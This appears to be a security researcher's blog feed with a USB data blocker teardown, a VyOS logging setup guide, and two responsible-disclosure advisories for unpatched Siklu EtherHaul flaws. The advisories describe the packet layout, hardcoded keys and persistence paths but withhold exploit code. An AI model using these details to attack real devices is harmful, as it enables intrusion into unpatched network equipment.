<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" hreflang="en" /><updated>2025-10-20T20:33:46+10:30</updated><id>/feed.xml</id><title type="html">semaja2</title><subtitle>The thoughts and technical findings of Andrew James (semaja2)</subtitle><entry><title type="html">The Irony of Trust: Analyzing a “Data Blocker” from a Cyber Conference</title><link href="/2025/10/20/analyzing-a-data-blocker/" rel="alternate" type="text/html" title="The Irony of Trust: Analyzing a “Data Blocker” from a Cyber Conference" /><published>2025-10-20T00:00:00+10:30</published><updated>2025-10-20T00:00:00+10:30</updated><id>/2025/10/20/analyzing-a-data-blocker</id><content type="html" xml:base="/2025/10/20/analyzing-a-data-blocker/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>I recently attended CyberCon 2025 in Melbourne, where NAB (National Australia Bank) was handing out USB “data blocker” devices as promotional items. The irony wasn’t lost on me: at a cybersecurity conference, attendees were being given opaque, sealed USB devices and expected to trust them.</p>

<p>In an era of sophisticated hardware attacks—from O.MG cables to USB Rubber Duckies—accepting unknown USB devices seems contrary to basic security hygiene. These data blockers come in sealed black casings that prevent visual inspection without destruction, containing ample internal space that could theoretically house malicious payloads.</p>

<p><a href="/assets/posts/2025-10-20/usb-datablocker-wrapper-front.jpg"><img src="/assets/posts/2025-10-20/usb-datablocker-wrapper-front.jpg" alt="Wrapper Front" height="400px" /></a>
<a href="/assets/posts/2025-10-20/usb-datablocker-wrapper-back.jpg"><img src="/assets/posts/2025-10-20/usb-datablocker-wrapper-back.jpg" alt="Wrapper Back" height="400px" /></a></p>

<p>Curiosity got the better of me. I decided to crack one open and analyze what’s actually inside.</p>

<h2 id="what-is-a-usb-data-blocker">What Is a USB Data Blocker?</h2>

<p>A USB data blocker (also called a “USB condom” or “juice-jack defender”) is a simple adapter designed to allow charging while preventing data transfer. The concept is straightforward: block the data lines, pass through the power lines.</p>

<p>This NAB device is a USB Type-A male to USB Type-C female adapter, allowing you to plug it into a USB-A port (like a public charging kiosk) and then connect your USB-C device for “safe” charging.</p>

<h2 id="the-hardware-analysis">The Hardware Analysis</h2>

<p>After carefully opening the sealed casing, I examined the PCB and traced the connections. Here’s what I found:</p>

<p>The PCB appears to have the marking <code class="language-console highlighter-rouge"><span class="go">GACM-V1.1</span></code> but I was unable to find any further information on this, so the next logical step is to review each PCB trace and reverse engineer it!</p>

<p><a href="/assets/posts/2025-10-20/usb-datablocker-model.jpg"><img src="/assets/posts/2025-10-20/usb-datablocker-model.jpg" alt="PCB Model" height="400px" /></a>
<a href="/assets/posts/2025-10-20/usb-datablocker-pcb.jpg"><img src="/assets/posts/2025-10-20/usb-datablocker-pcb.jpg" alt="PCB Traced" height="400px" /></a></p>

<h3 id="the-data-lines-d-and-d-">The Data Lines: D+ and D-</h3>

<p>The USB 2.0 data lines (D+ and D-) are shorted together. This is the primary mechanism that blocks data transfer. With these lines shorted, USB enumeration cannot occur—the host computer cannot detect or communicate with any connected device as a data device.</p>

<p>You might wonder why these pins are connected at all, even if just shorted together. Why not leave them completely disconnected? The answer comes down to USB charging standards and device behavior. Many charging implementations, particularly older ones, use the voltage or resistance on the D+ and D- lines to detect charger capabilities and negotiate charging current. Some devices check these lines to determine if they’re connected to a dedicated charging port, a standard downstream port, or something else entirely. By shorting D+ and D- together (typically through a small resistance), the device can signal to connected hardware that this is a charging-capable port while still preventing any actual data communication. It’s a way of saying “I can provide power” without saying “I can transfer data.”</p>

<p>This effectively prevents USB mass storage access, HID (keyboard/mouse) emulation attacks, and any USB 2.0 data communication.</p>

<h3 id="the-superspeed-lines-sstxssrx">The SuperSpeed Lines: SSTX/SSRX</h3>

<p>Interestingly, the USB 3.x SuperSpeed transmit and receive differential pairs (SSTX+/-, SSRX+/-) are connected through the device.</p>

<p>At first glance, this seems counterintuitive for a data blocker. However, this doesn’t compromise the data-blocking function. USB 3.x requires USB 2.0 enumeration first—all USB 3.x devices must first enumerate using the USB 2.0 protocol on the D+/D- lines before upgrading to SuperSpeed mode. With the D+/D- lines shorted, enumeration never occurs, so SuperSpeed mode is never negotiated. The Type-A connector on the host side doesn’t properly support these signals in this configuration anyway.</p>

<p>So why connect them at all? The USB Type-C specification expects certain pins to be present and properly terminated for correct operation. Some USB-C devices or charging protocols check for the presence of these lines as part of their cable detection or validation process. Additionally, leaving high-speed differential pairs floating (unconnected) can sometimes cause electrical issues or prevent proper USB-C negotiation. By connecting them through, even though no data can flow, the device maintains better electrical compliance with USB-C standards and avoids potential edge cases where a device might refuse to charge due to unexpected pin states.</p>

<h3 id="the-critical-component-56kω-resistor">The Critical Component: 56kΩ Resistor</h3>

<p>The most important component for functionality is a 56kΩ resistor connecting VBUS to the CC (Configuration Channel) pin.</p>

<p>This resistor is mandated by the USB Type-C specification. It identifies this device as a USB Type-C power source (DFP - Downstream Facing Port), and the 56kΩ value indicates the device can supply default USB power (5V @ 500-900mA). The CC pin also determines which way the USB-C cable is plugged in. Without this resistor, a USB-C device wouldn’t recognize a valid connection and wouldn’t charge.</p>

<p>This is standard USB Type-C design and is necessary for the device to function as a charging adapter.</p>

<h2 id="the-security-question">The Security Question</h2>

<p>So, does this device do what it claims? Yes, from a purely electrical standpoint, it should effectively block data transfer while allowing charging.</p>

<p>But here’s the uncomfortable question: how do you verify this without destructive testing?</p>

<p>The sealed, opaque casing means users must trust that the manufacturer built it correctly, that no malicious components were added, that the device wasn’t tampered with in the supply chain, and that NAB properly vetted their supplier.</p>

<p>The internal space in these devices is more than sufficient to house a microcontroller with wireless capabilities, flash storage for malicious payloads, additional circuitry that could be activated under certain conditions, or hardware keyloggers. While the PCB I examined appeared legitimate, accepting sealed USB devices from unknown sources contradicts fundamental security principles.</p>

<h2 id="the-broader-implications">The Broader Implications</h2>

<p>This raises some interesting questions about security culture and awareness.</p>

<p>The distribution of these devices at CyberCon creates a teachable moment. Security professionals should be the most skeptical of unsolicited USB devices, yet the convenience of free charging adapters can override our better judgment.</p>

<p>Even well-intentioned organizations like NAB may not have the resources to thoroughly audit every promotional item they distribute. Supply chain attacks on hardware are notoriously difficult to detect, and most users lack the tools and knowledge to verify these devices themselves. They must either trust the vendor completely, never use the device, or destroy it for inspection (making it unusable).</p>

<h2 id="recommendations">Recommendations</h2>

<p>If you’re an organization thinking about distributing USB devices, reconsider the practice entirely. In 2025, handing out USB devices at security conferences sends mixed messages about security principles. If you absolutely must do it, provide detailed specifications, PCB layouts, and verification methods. Better yet, distribute information about commercially verified products rather than branded unknowns.</p>

<p>For users, the advice is simple: don’t use promotional USB devices, even from trusted organizations. Buy data blockers from reputable sources with transparent supply chains. If you must use one, buy multiple from different batches and compare them. When possible, use wireless charging to avoid the USB data/power coupling entirely, or just carry your own known-good cables.</p>

<p>Conference organizers might want to set policies around USB device giveaways at security events, or at least provide secure, verified charging options instead. If you allow them, make it a teaching opportunity about hardware trust.</p>

<h2 id="conclusion">Conclusion</h2>

<p>The NAB data blocker appears to be a legitimate, functional device that does what it claims. The electrical design is sound, using standard USB Type-C configuration with appropriate data line blocking.</p>

<p>However, the deeper lesson isn’t about this specific device—it’s about the principle of hardware trust. At a cybersecurity conference, we should be modeling best practices, not distributing sealed USB devices that require blind trust to use safely.</p>

<p>The next time someone offers you a “free” USB device, remember: in security, trust isn’t free, and sometimes the most expensive thing you can accept is a gift you can’t verify.</p>

<hr />

<p><em>Disclaimer: This analysis is based on one sample device and does not constitute a comprehensive security audit. The findings suggest the device functions as advertised, but individual verification is impossible without destructive testing. Users should make their own informed decisions about using any USB device from unknown sources.</em></p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="usb" /><category term="datablocker" /><category term="cybercon" /><category term="aisa" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">VyOS - Logging via containers to Logscale</title><link href="/2025/09/10/vyos-logging-via-containers/" rel="alternate" type="text/html" title="VyOS - Logging via containers to Logscale" /><published>2025-09-10T00:00:00+09:30</published><updated>2025-09-10T00:00:00+09:30</updated><id>/2025/09/10/vyos-logging-via-containers</id><content type="html" xml:base="/2025/09/10/vyos-logging-via-containers/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Generally network devices have their logs ingested into a central logging system through the industry standard <em>syslog</em>.</p>

<p>However <em>syslog</em> has several limitations, when utilising <em>UDP</em> message are limited to the max size of a single UDP packet (eg. 1024 bytes)</p>

<p>As VyOS is based on Debian Linux utilising <em>journald</em> logging, and its support for containers, it is possible to simply hook into <em>journald</em> and obtain enriched logs via a container skipping many limitations of <em>syslog</em>.</p>

<p>For example ingesting from <em>journald</em> will expose the source system unit (eg. <em>cron</em> / <em>ssh</em> / <em>kernel</em>) and simplify timestamp extraction.</p>

<p>This proof-of-concept will go over the process to setup the Logscale Collector as a container, additionally using Logscale Fleet Management to enable centralised monitoring and management.</p>

<p><em>Note:</em> Whilst this article focuses on Logscale Collector, other collectors could also work (eg. <a href="https://vector.dev">Vector.dev</a>) and I may publish follow up articles for Vector.dev</p>

<h2 id="1-import-parser">1. Import Parser</h2>
<p>To ensure the logs are easily searchible, a parser should be configured, I have published a working parser on <a href="https://raw.githubusercontent.com/semaja2/logscale-parsers/refs/heads/master/vyos/vyos-journal.yaml">Github</a> which can be imported into Logscale.</p>

<p>Navigate to the “Parsers” section under “Data connectors” and click “Add new parser”</p>

<p>Specify the Parser name and select “Import” and upload the file from Github, then click create.</p>

<p><a href="/assets/posts/2025-09-10/parser-import.png"><img src="/assets/posts/2025-09-10/parser-import.png" alt="Logscale Parser Import Dialog" width="80%" /></a></p>

<h2 id="2-setup-connector">2. Setup connector</h2>
<p>Navigate to the “Data connections”, click “+ Add connection”, find the “Falcon Logscale Collector” item and then click “Configure”</p>

<p>Give connector and data source a name, then set the newly imported parser.</p>

<p><a href="/assets/posts/2025-09-10/connector-new.png"><img src="/assets/posts/2025-09-10/connector-new.png" alt="Logscale New Connector" width="30%" /></a></p>

<p>After creating the connector, generate the API keys and note for use later.</p>

<p><em>Reference:</em> <a href="https://falcon.us-2.crowdstrike.com/documentation/page/u496e28e/falcon-logscale-collector">Documentation: Configure Falcon Logscale Collector</a></p>

<h2 id="3-define-fleet-configuration">3. Define Fleet Configuration</h2>
<p>Navigate to the “Fleet management” tab, switch to “Config overview”, and select “+ New config”.</p>

<p>Give the new config a name, and start with an empty config.</p>

<p><a href="/assets/posts/2025-09-10/fleet-config-new.png"><img src="/assets/posts/2025-09-10/fleet-config-new.png" alt="Logscale Config New Dialog" width="80%" /></a></p>

<p>In the draft editor, copy the below config and adjust the sink <code class="language-console highlighter-rouge"><span class="go">siem_vyos-journal</span></code> to have the connector token and URL obtained in the previous step, then click “Publish” to save the changes</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">sources</span><span class="pi">:</span>
  <span class="na">journal</span><span class="pi">:</span>
    <span class="na">type</span><span class="pi">:</span> <span class="s">journald</span>
    <span class="na">sink</span><span class="pi">:</span> <span class="s">siem_vyos-journal</span>
    <span class="c1"># Optional. If not specified collect from the local journal</span>
    <span class="na">directory</span><span class="pi">:</span> <span class="s">/var/log/journal</span>
    <span class="c1"># If specified only collect from these units</span>
    <span class="c1">#includeUnits:</span>
    <span class="c1">#  - systemd-modules-load.service</span>
    <span class="c1"># If specified collect from all units except these</span>
    <span class="na">excludeUnits</span><span class="pi">:</span>
    <span class="c1">##  - systemd-modules-load.service</span>
    <span class="c1"># Default: false. If true only collect logs from the current boot</span>
    <span class="na">currentBootOnly</span><span class="pi">:</span> <span class="kc">true</span>
<span class="na">sinks</span><span class="pi">:</span>
  <span class="na">siem_vyos-journal</span><span class="pi">:</span>
    <span class="na">type</span><span class="pi">:</span> <span class="s">humio</span>
    <span class="na">token</span><span class="pi">:</span> <span class="s">&lt;TOKEN&gt;&gt;</span>
    <span class="na">url</span><span class="pi">:</span> <span class="s">https://&lt;URL&gt;.ingest.us-2.crowdstrike.com</span>
</code></pre></div></div>

<p><a href="/assets/posts/2025-09-10/fleet-config-draft.png"><img src="/assets/posts/2025-09-10/fleet-config-draft.png" alt="Logscale Config New Dialog" width="80%" /></a></p>

<p><em>Reference:</em> <a href="https://falcon.us-2.crowdstrike.com/documentation/page/w55f2d06/manage-falcon-log-collector-instance-enrollment">Documentation: Configure Enrollment Tokens</a></p>

<h2 id="4-setup-fleet-management-enrollment-token">4. Setup Fleet Management Enrollment Token</h2>
<p>Navigate to the “Enrollment tokens”, and click “+ New token”.</p>

<p>Give the token a suitable name, and then set this token to use the config previously created.</p>

<p><strong>Note:</strong> For advanced use you can leave the config undefined, and configure a group instead to match for the <code class="language-console highlighter-rouge"><span class="go">VyOS*</span></code> OS and assign the config dynamically.</p>

<p><a href="/assets/posts/2025-09-10/fleet-enrollment-new.png"><img src="/assets/posts/2025-09-10/fleet-enrollment-new.png" alt="Logscale Fleet Enrollment New Dialog" width="80%" /></a></p>

<p>After creating the token, retrieve the “Enrollment token”, this is the long string of random characters at the end of the “Enrollment command”, this will be used when deploying the container.</p>

<p><a href="/assets/posts/2025-09-10/fleet-enrollment-token.png"><img src="/assets/posts/2025-09-10/fleet-enrollment-token.png" alt="Logscale Fleet Enrollment Token Dialog" width="80%" /></a></p>

<p><em>References:</em> <a href="https://falcon.us-2.crowdstrike.com/documentation/page/cdf9cac0/manage-remote-configurations">Documentation: Fleet Config</a></p>

<h2 id="5-deploy-container-to-vyos">5. Deploy Container to VyOS</h2>
<p>The final step is to deploy the container to the VyOS devices, if there are multiple devices you can use the same enrollment token as many times as needed.</p>

<p>First step will be to create some persistent storage locations which will allow the collector to remember its enrollment and what it has processed between restarts.</p>

<p>I have created a custom <code class="language-console highlighter-rouge"><span class="go">logscale-collector</span></code> image that includes additional environmental variables to enable enrollment, this will need to be added to the device before the container can be configured.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create persistent storage directories</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /config/containers/humio-log-collector_var
<span class="nb">mkdir</span> <span class="nt">-p</span> /config/containers/humio-log-collector_etc

<span class="c"># Add container image (must be done outside of configure mode)</span>
add container image semaja2/logscale-collector:latest
</code></pre></div></div>

<p>Now that everything is in place, we will need to switch to <code class="language-console highlighter-rouge"><span class="go">configure</span></code> mode and configure the container.</p>

<p>To make this process simple the below commands have the <code class="language-console highlighter-rouge"><span class="go">ENROLL_TOKEN</span></code> at the top, set the enrollment token obtained previously (eg. <code class="language-console highlighter-rouge"><span class="go">ENROLL_TOKEN=eyJoZ...</span></code>)</p>

<p>Once the <code class="language-console highlighter-rouge"><span class="go">ENROLL_TOKEN</span></code> variable is configured, the rest of the commands can be bulk entered and finally committed.</p>

<p><strong>Caution:</strong> VyOS maintains roughly 1GB of journal logs, when the container is deployed it may cause high CPU/Memory usage whilst it processes the backlog, as such ensure ample resources are available.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Set this shell variable to the enrollment token retrieved earlier</span>
<span class="nv">ENROLL_TOKEN</span><span class="o">=</span>

<span class="c"># Configure container</span>
edit container name logscale-collector
<span class="nb">set </span>image <span class="s1">'docker.io/semaja2/logscale-collector:latest'</span>
<span class="nb">set </span>restart <span class="s1">'always'</span>
<span class="nb">set </span>memory 512
<span class="nb">set </span>cpu-quota 1

<span class="c">## Provide host network to avoid extra configuration</span>
<span class="nb">set </span>allow-host-networks

<span class="c">## Set host-name to match router, will be used in fleet management</span>
<span class="nb">set </span>host-name <span class="nv">$HOSTNAME</span>

<span class="c">## Configure enrolment token from fleet management</span>
<span class="c">## Can be removed after initial enrolment if persistent storage enabled</span>
<span class="nb">set </span>environment HUMIO_LOG_COLLECTOR_ENROLL_TOKEN value <span class="nv">$ENROLL_TOKEN</span>


<span class="c">## Add host /var/log to container to extract logs, mount as read only to avoid tampering</span>
<span class="nb">set </span>volume logs destination <span class="s1">'/var/log'</span>
<span class="nb">set </span>volume logs mode <span class="s1">'ro'</span>
<span class="nb">set </span>volume logs <span class="nb">source</span> <span class="s1">'/var/log'</span>

<span class="c"># Add host /etc/os-release to enable fleet management to report correct OS version</span>
<span class="nb">set </span>volume os-version mode <span class="s1">'ro'</span>
<span class="nb">set </span>volume os-version <span class="nb">source</span> <span class="s1">'/etc/os-release'</span>
<span class="nb">set </span>volume os-version destination <span class="s1">'/etc/os-release'</span>

<span class="c">## Add persistent storage locations</span>
<span class="nb">set </span>volume conf destination <span class="s1">'/etc/humio-log-collector'</span>
<span class="nb">set </span>volume conf mode <span class="s1">'rw'</span>
<span class="nb">set </span>volume conf <span class="nb">source</span> <span class="s1">'/config/containers/humio-log-collector_etc'</span>
<span class="nb">set </span>volume var destination <span class="s1">'/var/lib/humio-log-collector'</span>
<span class="nb">set </span>volume var mode <span class="s1">'rw'</span>
<span class="nb">set </span>volume var <span class="nb">source</span> <span class="s1">'/config/containers/humio-log-collector_var'</span>
</code></pre></div></div>

<p>After committing the changes the container should start, and appear in the Fleet management overview screen.</p>

<p><a href="/assets/posts/2025-09-10/fleet-overview.png"><img src="/assets/posts/2025-09-10/fleet-overview.png" alt="Logscale Fleet Overview" width="80%" /></a></p>]]></content><author><name>Andrew</name></author><category term="vyos" /><category term="logging" /><category term="siem" /><category term="containers" /><category term="notes" /><category term="humio" /><category term="crowdstrike" /><category term="ng-siem" /><category term="guide" /><summary type="html"><![CDATA[Introduction Generally network devices have their logs ingested into a central logging system through the industry standard syslog.]]></summary></entry><entry><title type="html">Siklu EtherHaul Series - Unauthenticated Arbitrary File Upload</title><link href="/2025/08/03/siklu-eh-unauth-arbitrary-file-upload/" rel="alternate" type="text/html" title="Siklu EtherHaul Series - Unauthenticated Arbitrary File Upload" /><published>2025-08-03T00:00:00+09:30</published><updated>2025-08-03T00:00:00+09:30</updated><id>/2025/08/03/siklu-eh-unauth-arbitrary-file-upload</id><content type="html" xml:base="/2025/08/03/siklu-eh-unauth-arbitrary-file-upload/"><![CDATA[<h2 id="executive-summary">Executive Summary</h2>

<p>Following the initial disclosure of the unauthenticated RCE vulnerability in Siklu EtherHaul devices (CVE-PENDING), further investigation revealed that the same vulnerable <code class="language-console highlighter-rouge"><span class="go">rfpiped</span></code> service on TCP port 555 can be exploited for arbitrary file uploads without authentication. This critical security flaw allows remote attackers to upload files to any writable location on the device, enabling persistent backdoors and system compromise.</p>

<p><strong>Severity</strong>: Critical<br />
<strong>CVSS Score</strong>: Pending<br />
<strong>CVE ID</strong>: CVE-2025-57176<br />
<strong>Affected Versions</strong>: Firmware 7.4.0 - 10.7.3 (likely all versions since 7.4.0)</p>

<h2 id="vulnerability-details">Vulnerability Details</h2>

<h3 id="description">Description</h3>
<p>The vulnerability allows unauthenticated file uploads through the <code class="language-console highlighter-rouge"><span class="go">rfpiped</span></code> service. File upload packets use a hybrid encryption scheme where only metadata is encrypted while file contents are transmitted in cleartext. Combined with unrestricted path access, this enables attackers to write arbitrary files to persistent storage locations.</p>

<h3 id="impact">Impact</h3>
<ul>
  <li><strong>Arbitrary File Upload</strong>: Write files to any writable location on the device</li>
  <li><strong>Persistent Access</strong>: Upload scripts and configurations that survive reboots</li>
  <li><strong>No Authentication Required</strong>: Exploitation requires no credentials or prior access</li>
  <li><strong>Cleartext Exposure</strong>: File contents visible in network traffic</li>
</ul>

<h3 id="technical-root-cause">Technical Root Cause</h3>
<p>The vulnerability exists due to:</p>
<ul>
  <li>No authentication mechanism for file upload operations</li>
  <li>Unrestricted file path validation</li>
  <li>Static encryption keys hardcoded in the binary</li>
</ul>

<h2 id="investigation-timeline">Investigation Timeline</h2>

<h3 id="background">Background</h3>
<p>During analysis of the device management interface following the RCE discovery, packet captures revealed that file upload operations also utilize the vulnerable <code class="language-console highlighter-rouge"><span class="go">rfpiped</span></code> service on TCP port 555.</p>

<h3 id="technical-analysis">Technical Analysis</h3>

<ol>
  <li><strong>File Upload Packet Structure</strong>
Analysis revealed a concerning hybrid structure of encrypted and cleartext:
    <div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Offset  Size    Description                 Encryption
0x00    16      Header                      Encrypted
</span><span class="gp">0x10    32      Target filepath #</span>1          Encrypted
<span class="go">0x30    32      Padding (zeros)             Encrypted
</span><span class="gp">0x50    32      Target filepath #</span>2          Encrypted
<span class="go">0x70    32      Padding (zeros)             Encrypted
0x90    var     File contents               CLEARTEXT
</span></code></pre></div>    </div>
  </li>
  <li><strong>Filesystem Analysis</strong>
The device uses overlay filesystems enabling persistence:
    <div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/dev/root on / type squashfs (ro,relatime)                              #</span><span class="w"> </span>Root filesystem is READ-ONLY
<span class="gp">tmpfs on /tmp type tmpfs (rw,relatime)                                  #</span><span class="w"> </span>Volatile storage
<span class="gp">ubi0:conf on /var type ubifs (rw,relatime)                              #</span><span class="w"> </span>Persistent storage
<span class="gp">none on /etc type overlay (rw,relatime,lowerdir=/etc,upperdir=/var/etc) #</span><span class="w"> </span>Overlay on /etc enabling RW persistent storage
</code></pre></div>    </div>
  </li>
  <li><strong>Exploitation Paths</strong>
Key writable locations for persistence:
    <ul>
      <li><code class="language-console highlighter-rouge"><span class="go">/var/etc/init.d/</span></code> - Init scripts that survive reboots</li>
      <li><code class="language-console highlighter-rouge"><span class="go">/tmp/.rastamp</span></code> - Root Access Stamp (enable root login via SSH)</li>
    </ul>
  </li>
</ol>

<h2 id="affected-products">Affected Products</h2>

<h3 id="confirmed-vulnerable">Confirmed Vulnerable</h3>
<ul>
  <li><strong>Product</strong>: Ceragon/Siklu EtherHaul Series devices (Tested on 8010 and 1200)</li>
  <li><strong>Versions</strong>: 10.6.2, 10.7.3 (tested)</li>
  <li><strong>Likely Affected</strong>: All EtherHaul series devices running firmware 7.4.0 or later</li>
</ul>

<h3 id="patch-status">Patch Status</h3>
<p><strong>No patch available</strong> at the time of this disclosure.</p>

<h2 id="mitigation-recommendations">Mitigation Recommendations</h2>

<h3 id="immediate-actions">Immediate Actions</h3>
<ol>
  <li><strong>Network Isolation</strong>: Isolate affected devices from untrusted networks</li>
  <li><strong>Firewall Rules</strong>: Block TCP port 555 traffic to/from EtherHaul devices</li>
  <li><strong>Monitor Network Traffic</strong>: Watch for suspicious patterns on port 555</li>
</ol>

<h3 id="long-term-recommendations">Long-term Recommendations</h3>
<ol>
  <li><strong>Device Replacement</strong>: Consider replacing affected devices until patches are available</li>
  <li><strong>Network Segmentation</strong>: Implement proper network segmentation for critical infrastructure</li>
  <li><strong>Monitoring</strong>: Enable logging and monitor for suspicious activities on port 555</li>
</ol>

<h2 id="responsible-disclosure-timeline">Responsible Disclosure Timeline</h2>

<ul>
  <li><strong>Initial Discovery</strong>: 2025-04-12</li>
  <li><strong>Vendor Notification</strong>: 2025-04-16</li>
  <li><strong>90-Day Disclosure Notice</strong>: 2025-04-28</li>
  <li><strong>Extension Offer</strong>: 2025-05-28 (No response received)</li>
  <li><strong>Public Disclosure</strong>: 2025-08-03</li>
</ul>

<h3 id="vendor-response">Vendor Response</h3>
<p>When asked for an estimated patch timeline, the vendor stated:</p>
<blockquote>
  <p>Although we cannot estimate an ETA at this stage, the topic is already under review as part of our continuous improvement approach, and steps toward enhancing it are being considered.</p>
</blockquote>

<h2 id="operational-context">Operational Context</h2>

<p>Under typical deployment scenarios, detection is complicated by:</p>
<ul>
  <li><strong>Limited File System Access</strong>: No visibility through normal administrative interfaces</li>
  <li><strong>Forensic Limitations</strong>: Investigation requires physical access (eg. UART) or vendor cooperation</li>
</ul>

<p>These constraints mean compromises may go undetected indefinitely.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>Due to the critical nature of this vulnerability and the lack of available patches, full technical details and exploit code are being withheld at this time.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="/2025/08/02/siklu-eh-unauthenticated-rce/">Siklu EtherHaul RCE Disclosure</a></li>
  <li>CVE-2025-57176</li>
</ul>

<hr />

<p><strong>Disclaimer</strong>: This disclosure is provided for educational and defensive purposes. The author is not responsible for any misuse of this information.</p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="cve" /><category term="security" /><category term="siklu" /><category term="ceragon" /><category term="etherhaul" /><category term="vulnerability" /><category term="file-upload" /><category term="disclosure" /><category term="CVE-2025-57176" /><summary type="html"><![CDATA[Executive Summary]]></summary></entry><entry><title type="html">Siklu EtherHaul Series - Unauthenticated Remote Command Execution</title><link href="/2025/08/02/siklu-eh-unauthenticated-rce/" rel="alternate" type="text/html" title="Siklu EtherHaul Series - Unauthenticated Remote Command Execution" /><published>2025-08-02T00:00:00+09:30</published><updated>2025-08-02T00:00:00+09:30</updated><id>/2025/08/02/siklu-eh-unauthenticated-rce</id><content type="html" xml:base="/2025/08/02/siklu-eh-unauthenticated-rce/"><![CDATA[<h2 id="executive-summary">Executive Summary</h2>

<p>The Ceragon/Siklu EtherHaul series devices are vulnerable to an unauthenticated remote command execution (RCE) vulnerability. This critical security flaw allows remote attackers to execute arbitrary commands on affected devices without any authentication, potentially leading to complete device compromise.</p>

<p><strong>Severity</strong>: Critical<br />
<strong>CVSS Score</strong>: Pending<br />
<strong>CVE ID</strong>: CVE-2025-57174<br />
<strong>Affected Versions</strong>: Firmware 7.4.0 - 10.7.3 (likely all versions since 7.4.0)</p>

<h2 id="vulnerability-details">Vulnerability Details</h2>

<h3 id="description">Description</h3>
<p>The vulnerability exists in the <code class="language-console highlighter-rouge"><span class="go">rfpiped</span></code> service listening on TCP port 555. Despite a previous patch attempt in 2017 for a similar vulnerability, the current implementation’s encryption scheme can be bypassed, allowing attackers to craft malicious packets that execute privileged commands remotely.</p>

<h3 id="impact">Impact</h3>
<ul>
  <li><strong>Remote Command Execution</strong>: Attackers can execute arbitrary CLI commands</li>
  <li><strong>Network Compromise</strong>: Affected devices can serve as entry points into protected networks</li>
  <li><strong>No Authentication Required</strong>: Exploitation requires no credentials or prior access</li>
</ul>

<h3 id="technical-root-cause">Technical Root Cause</h3>
<p>The vulnerability stems from weak cryptographic implementation in the inter-device communication protocol. While encryption was added as a mitigation for CVE-2017-7318, the implementation uses:</p>
<ul>
  <li>Static encryption keys hardcoded in the binary</li>
  <li>Predictable initialization vectors (IVs)</li>
  <li>No authentication mechanism for command packets</li>
</ul>

<h2 id="investigation-timeline">Investigation Timeline</h2>

<h3 id="background">Background</h3>
<p>Building upon research by Ian C Lang (late 2016) who disclosed a <a href="https://blog.iancaling.com/siklu-etherhaul-unauthenticated-remote-command-execution-vulnerability-7-4-0/">similar vulnerability</a> affecting firmware versions &lt;7.4.0, this investigation examined whether the vendor’s patch adequately addressed the underlying security issues.</p>

<h3 id="technical-analysis-summary">Technical Analysis (Summary)</h3>
<p><em>Note:</em> This section provides a high-level overview of the vulnerability discovery process. A comprehensive technical deep-dive, including detailed methodology, reverse engineering steps, and cryptographic analysis will be published once a patch becomes available to ensure responsible disclosure practices are maintained.</p>

<ol>
  <li><strong>Service Discovery</strong>
    <ul>
      <li>Confirmed <code class="language-console highlighter-rouge"><span class="go">rfpiped</span></code> still listens on TCP port 555</li>
      <li>Service binds to all IPv4 and IPv6 addresses (<code class="language-console highlighter-rouge"><span class="go">tcp6 *:555</span></code>)</li>
      <li>Inter-device communication occurs over link-local IPv6 addresses</li>
    </ul>
  </li>
  <li><strong>Packet Analysis</strong>
    <ul>
      <li>Initial packet captures showed encrypted payloads</li>
      <li>Repeated packets suggested replay attack potential</li>
      <li>Successfully replayed sensitive actions on devices running firmware versions 10.6.2 and 10.7.3</li>
    </ul>
  </li>
  <li><strong>Encryption Analysis</strong>
    <ul>
      <li>Reverse engineering revealed AES-256 encryption implementation</li>
      <li>Located hardcoded encryption key in <code class="language-console highlighter-rouge"><span class="go">rfpiped</span></code> binary</li>
      <li>Recovered static IV through cryptographic analysis</li>
      <li>Confirmed packet structure remained unchanged from pre-patch versions</li>
    </ul>
  </li>
  <li><strong>Exploitation</strong>
    <ul>
      <li>Developed proof-of-concept demonstrating arbitrary command execution</li>
      <li>Verified ability to add administrative users remotely</li>
      <li>Confirmed vulnerability across multiple firmware versions</li>
    </ul>
  </li>
</ol>

<h2 id="affected-products">Affected Products</h2>

<h3 id="confirmed-vulnerable">Confirmed Vulnerable</h3>
<ul>
  <li><strong>Product</strong>: Ceragon/Siklu EtherHaul Series devices (Tested on 8010 and 1200)</li>
  <li><strong>Versions</strong>: 10.6.2, 10.7.3 (tested)</li>
  <li><strong>Likely Affected</strong>: All EtherHaul series devices running firmware 7.4.0 or later</li>
</ul>

<h3 id="patch-status">Patch Status</h3>
<p><strong>No patch available</strong> at the time of this disclosure.</p>

<h2 id="mitigation-recommendations">Mitigation Recommendations</h2>

<h3 id="immediate-actions">Immediate Actions</h3>
<ol>
  <li><strong>Network Isolation</strong>: Isolate affected devices from untrusted networks</li>
  <li><strong>Firewall Rules</strong>: Block TCP port 555 traffic to/from EtherHaul devices</li>
  <li><strong>Access Control Lists</strong>: Implement strict ACLs limiting device communication</li>
</ol>

<h3 id="long-term-recommendations">Long-term Recommendations</h3>
<ol>
  <li><strong>Device Replacement</strong>: Consider replacing affected devices until patches are available</li>
  <li><strong>Network Segmentation</strong>: Implement proper network segmentation for critical infrastructure</li>
  <li><strong>Monitoring</strong>: Enable logging and monitor for suspicious activities on port 555</li>
</ol>

<h2 id="responsible-disclosure-timeline">Responsible Disclosure Timeline</h2>

<ul>
  <li><strong>Initial Discovery</strong>: 2025-04-12</li>
  <li><strong>Vendor Notification</strong>: 2025-04-16</li>
  <li><strong>90-Day Disclosure Notice</strong>: 2025-04-28</li>
